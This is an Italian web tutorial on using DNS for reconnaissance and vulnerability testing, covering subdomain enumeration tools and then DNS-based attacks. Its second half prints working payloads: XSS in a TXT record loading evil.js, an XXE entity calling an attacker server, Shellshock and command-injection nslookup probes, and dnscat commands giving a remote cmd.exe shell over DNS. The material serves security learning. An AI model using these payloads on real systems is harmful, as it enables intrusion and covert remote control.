
guide
Tutti i linguaggi per diventare uno sviluppatore di app per Android.
Il DNS è uno degli strumenti più utilizzati su Internet: ecco come utilizzarlo per ottenere informazioni sui domini, e sfruttare eventuali vulnerabilità ad essi connesse.
Il Domain Name System (DNS) è uno degli strumenti che più spesso, senza rendercene conto, utilizziamo durante la navigazione web. Esso è il sistema che si occupa di trasformare un indirizzo web (o hostname – nel formato www.nomesito.it) in un indirizzo IP (nel formato numerico nnn.nnn.nnn.nnn
). Come vedremo nel seguito, i DNS hanno però tantissime altre funzioni, e lo scopo di questo articolo è di dimostrare com’è possibile effettuare enumerazione e discovery, cioè come leggere gli indirizzi IP associati ad un dominio, e scoprire i sotto-domini ad esso connessi. Ci sarà poi anche spazio per trattare i nuovi vettori d’attacco che utilizzano il DNS. L’articolo prevede l’uso di alcuni tool, generalmente presenti sulla maggior parte delle distribuzioni Unix.
Prima di iniziare con la pratica è necessario aver chiaro quali principali tipi di record DNS esistono, ed il loro campo di utilizzo:
Tipo di record DNS | Descrizione |
---|---|
A | Trasforma un nome host in un indirizzo IPv4 |
AAAA | Trasforma un nome host in un indirizzo IPv6 |
CNAME | Trasforma un nome host in un altro nome host |
MX | Fornisce l’indirizzo del Mail Exchange (utilizzato per l’inoltro di posta elettronica |
NS | Fornisce l’indirizzo del Name Server (utilizzato per la gestione dei record DNS) |
TXT | Fornisce una stringa |
SRV | Service Record, usato per specificare un tipo di servizio; può contenere hostname e porta su cui il servizio lavora. Spesso è usato per centralini VoIP |
PTR | Pointer Record, usato per ricavare un hostname dato un indirizzo IP |
Sulla pagina di Wikipedia è disponibile la lista completa di tutti i tipi di record DNS.
Il tool che ci consente di effettuare richieste di tipo DNS è dig. Vediamo come poter richiamare il tipo DNS A sul dominio html.it, utilizzando il server DNS di Google (8.8.8.8):
dig @8.8.8.8 -t A html.it
Qualora volessimo ottenere tutti i tipi di record DNS senza specificarli uno ad uno useremo:
dig @8.8.8.8 -t ANY html.it
Le informazioni ricavate da dig possono però risultare troppo semplici e abbastanza incomplete. Possiamo acquisire altre informazioni utilizzando dnsdict6:
dnsdict6 -4 -d -S html.it
Nel comando precendente:
dnsdict6 contiene per default un dizionario di circa 1500 parole che viene utilizzato (come si vede dall’output precedente) per scovare domini di terzo livello (chiamati anche sotto-domini). È però possibile specificare un dizionario esterno appendendolo alla fine del comando:
dnsdict6 -4 -d -S html.it /home/simone/dizionari/dns_presonal.txt
Ora che abbiamo ottenuto una lista più o meno completa di sotto-domini possiamo passare all’uso di dnsenum, un comando che oltre a provare con un dizionario di parole, effettua direttamente una ricerca su Google per fornire risultati più accurati:
dnsenum --dnsserver 8.8.8.8 --enum html.it
Nel comando precedente:
È inoltre possibile ottenere una lista di sotto-domini tramite Google (escludendo i risultati che contengono “www”), utilizzando la stringa come in esempio:
site:html.it -www
A questo punto abbiamo ancora più informazioni sul dominio sotto analisi. Possiamo raccogliere, per completezza, anche le chiavi DNS utilizzate per mettere in sicurezza il dominio da attacchi Man-in-the-Middle o trasferimenti fraudolenti. Questo sistema di protezione si chiama DNSSEC.
dnsrecon -d verisigninc.com
Il parametro -d consente di specificare il dominio su cui effettuare enumerazione.
Ora abbiamo abbastanza informazioni per effettuare discovery: si tratta del processo di ricerca, fra gli indirizzi IP “vicini”, di altri nomi DNS che potrebbero riferirsi al nostro target.
dnsrecon -r 151.1.244.200/24
Il parametro -r effettua un Reverse Lookup. Il range va specificato con una netmask, e la richiesta che viene inviata al server DNS è di tipo PTR.
Per fare reversing sugli indirizzi IPv6 possiamo utilizzare dnsrevenum6:
dnsrevenum6 8.8.8.8 2001:41d0:1:ad64:1::/48
Nel precedente comando, il primo parametro è l’indirizzo del server DNS (in questo caso Google) ed il secondo parametro è il range (specificato con netmask /48) dell’indirizzo IPv6.
Tutte le informazioni raccolte provengono da servizi pubblici e sono quindi consultabili da chiunque. Non abbiamo commesso nessuna attività illegale durante l’enumerazione ed il discovery.
L’immagine predenete è stata selezionata dalla presentazione tenuta da Ron Bowes (dipendente Google) durante il DerbyCon 2014. Spiega esattamente il percorso di una richiesta DNS:
In questo modo potremo rispondere all’originale richiesta DNS con un valore scelto da noi. Dobbiamo tener presente che il servizio DNS è lasciato aperto sulla maggior parte dei server; se così non fosse non ci sarebbe possibilità per lo stesso server di comunicare con il “mondo” esterno. Questo ci consente di avere una via di comunicazione privilegiata con il server, riuscendo a bypassare eventuali firewall o Intrusion Prevention System (IPS).
In un assessment in blackbox è difficile capire come un dato venga effettivamente trattato all’interno del sistema. Attraverso l’uso dei DNS siamo in grado di tracciare o perlomeno capire se il nostro dato viene acceduto da terzi.
Tra il 2010 ed il 2012 sono stati effettuati dei test sui tre maggiori portali di WhoIs, e sorprendentemente tutti erano vulnerabili ad un attacco di tipo XSS. L’attaccante aveva semplicemente creato un record DNS di tipo TXT con un codice simile a questo:
<script src="http://vostrosito/evil.js"></script>
Utilizzare altri tipo di DNS come CNAME, MX o PTR sarebbe stato più difficile, in quanto i tipi di record precedenti non permettono l’uso di spazi o doppi apici. Ma basta conoscere la sintassi di HTML e JavaScript per creare un proof of concept senza doppi apici o spazi come in esempio:
<script/src='http://vostrosito.evil.js'></script>
L’attaccante riuscì ad iniettare all’interno della pagina (e permanentemente) un codice potenzialmente malevolo per qualsiasi visitatore.
Esistono molte funzioni in PHP o ASP che consentono di prelevare il valore di un record DNS. Quel dato potrebbe essere successivamente utilizzato in una query SQL senza essere filtrato. Guardiamo come poter sfruttare questo tipo di vulnerabilità prendendo in esempio un livello, risolto da Ron Bowes, di un CTF (Capture the Flag) scritto in PHP:
L’attaccante ha la possibilità di modificare la query SQL, ottenendo la password di un altro utente, utilizzando un record DNS di tipo TXT come in esempio:
Questo è solo un esempio tratto da un gioco dove l’utente conosce il codice sorgente dell’applicazione. In una caso reale è difficile “azzeccare” la giusta query SQL se non si conosce a priori com’è stata scritta.
Possiamo verificare se un sistema è vulnerabile ad XXE inserendo, all’interno del file o della query XML, un codice come il seguente:
]<!ENTITY xxe SYSTEM "http://notexistingname.ourserver.org" >]>
<user>&xxe;</user>
Se riceveremo sul nostro server una richiesta di risoluzione DNS per “notexistingname” sapremo che il sistema è vulnerabile all’iniezione di entity esterne. A quel punto potremmo procedere con il prelevare file locali (come ad esempio /etc/passwd).
Uno dei metodi meno invasivi per verificare la presenza del recente bug di Bash (Shellshock, appunto) è utilizzare la risoluzione dei DNS attraverso l’uso di nslookup (comando riconosciuto su Windows, Linux e Mac). Si può impostare uno user-agent come il seguente ed attendere che arrivino richieste:
() { test;};nslookup shellshocked.ourserver.org
Se riceveremo sul nostro server una richiesta di risoluzione DNS per “shellshocked” sapremo che la web application utilizza script con una versione vulnerabile di Bash. Potremo quindi eseguire qualsiasi altro comando invece di un semplice nslookup.
Come nell’esempio di Shellshock possiamo lanciare nslookup per verificare la vulnerabilità di tipo RCE. Per farlo ci sono vari “trucchi” come in esempio:
;nslookup shell.ourserver.org
`nslookup shell.ourserver.org`
|nslookup shell.ourserver.org
$(nslookup shell.ourserver.org)
Come negli esempi precedenti, quando riceveremo una richiesta di risoluzione per “shell” avremo verificato la vulnerabilità e potremo procedere con l’attacco.
Dopo aver verificato che uno degli attacchi citati in precedenza ha funzionato, possiamo continuare ad utilizzare il servizio DNS per mantenere un profilo basso senza creare troppo “rumore” sulla rete bersaglio. Avremo bisogno di un tool chiamato dnscat, presente all’interno della suite nbtool, ed ottenibile tramite GitHub.
Una volta compilato possiamo procedere con l’avvio del server su una macchina esposta su internet:
dnscat --listen -p 53
Nel comando precedente:
Ora possiamo avviare, sulla macchina bersaglio, dnscat in modalità client, che ci ritornerà la shell dei comandi di Windows (cmd.exe):
dnscat --dns virtualmachine1 -e cmd.exe
Qui:
E questa invece è la visuale dal server:
Tutto quello che viene scritto e letto da dnscat passa attraverso query DNS, come possiamo vedere sfruttando Wireshark:
Abbiamo visto come usare (e abusare) di un servizio che è sempre esistito sin dai primi anni ’80, e su cui l’intera Internet si basa. L’articolo dimostra come sia possibile ottenere informazioni facendo delle query di tipo DNS e sfruttare un canale di comunicazione difficilmente filtrato.
Molte delle metodologie di riconoscimento ed attacco presentate in questo articolo sono tratte dalla presentazione di Ron Bowes, disponibile online.
Il video seguente, infine, è una dimostrazione dell’attacco XSS ai maggiori siti di WhoIs:
Se vuoi aggiornamenti su DNS: usarlo per l’analisi di vulnerabilità inserisci la tua email nel box qui sotto:
Compilando il presente form acconsento a ricevere le informazioni relative ai servizi di cui alla presente pagina ai sensi dell'informativa sulla privacy.
La tua iscrizione è andata a buon fine. Se vuoi ricevere informazioni personalizzate compila anche i seguenti campi opzionali:
Compilando il presente form acconsento a ricevere le informazioni relative ai servizi di cui alla presente pagina ai sensi dell'informativa sulla privacy.
L’esperienza di uno startupper
Tutti i linguaggi per diventare uno sviluppatore di app per Android.
Come creare applicazioni per il Web con PHP e MySQL per il DBMS.
Tutte le principali tecnologie per diventare uno sviluppatore mobile per iOS.
I fondamentali per lo sviluppo di applicazioni multi piattaforma con Java.
Diventare degli esperti in tema di sicurezza delle applicazioni Java.
Usare Raspberry Pi e Arduino per avvicinarsi al mondo dei Maker e dell’IoT.
Le principali guide di HTML.it per diventare un esperto dei database NoSQL.
Ecco come i professionisti creano applicazioni per il Cloud con PHP.
Lo sviluppo professionale di applicazioni in PHP alla portata di tutti.
Come sviluppare applicazioni Web dinamiche con PHP e JavaScript.
Fare gli e-commerce developer con Magento, Prestashop e WooCommerce.
Realizzare applicazioni per il Web utilizzando i framework PHP.
Creare applicazioni PHP e gestire l’ambiente di sviluppo come un pro.
Percorso base per avvicinarsi al web design con un occhio al mobile.
Realizzare siti Web e Web application con WordPress a livello professionale.
Imparare a conoscere gli Exploit Kit: cosa e quali sono, come funzionano ed in che modo vengono utilizzati per generare numerosi attacchi informatici.
Scoprire le vulnerabilità di SSL, e quali strumenti usare per verificarle: analizziamo quelle di un servizio di home banking di una banca italiana.
Come utilizzare CMSmap, uno strumento open source e basato su Python che consente di effettuare un’analisi delle vulnerabilità di tre tra i più utilizzati CMS su internet: Wordpress, Joomla e Drupal.
Kali Linux è una delle distribuzioni Linux più utilizzate dagli esperti di cybersecurity, ed include numerosi tool per il penetration test. Questa guida completa e molto pratica illustra come effettuare penetration test con Kali Linux: partendo dall’installazione, la guida offre una panoramica dettagliata su tutti i principali strumenti forniti da questa distribuzione per l’ethical hacking.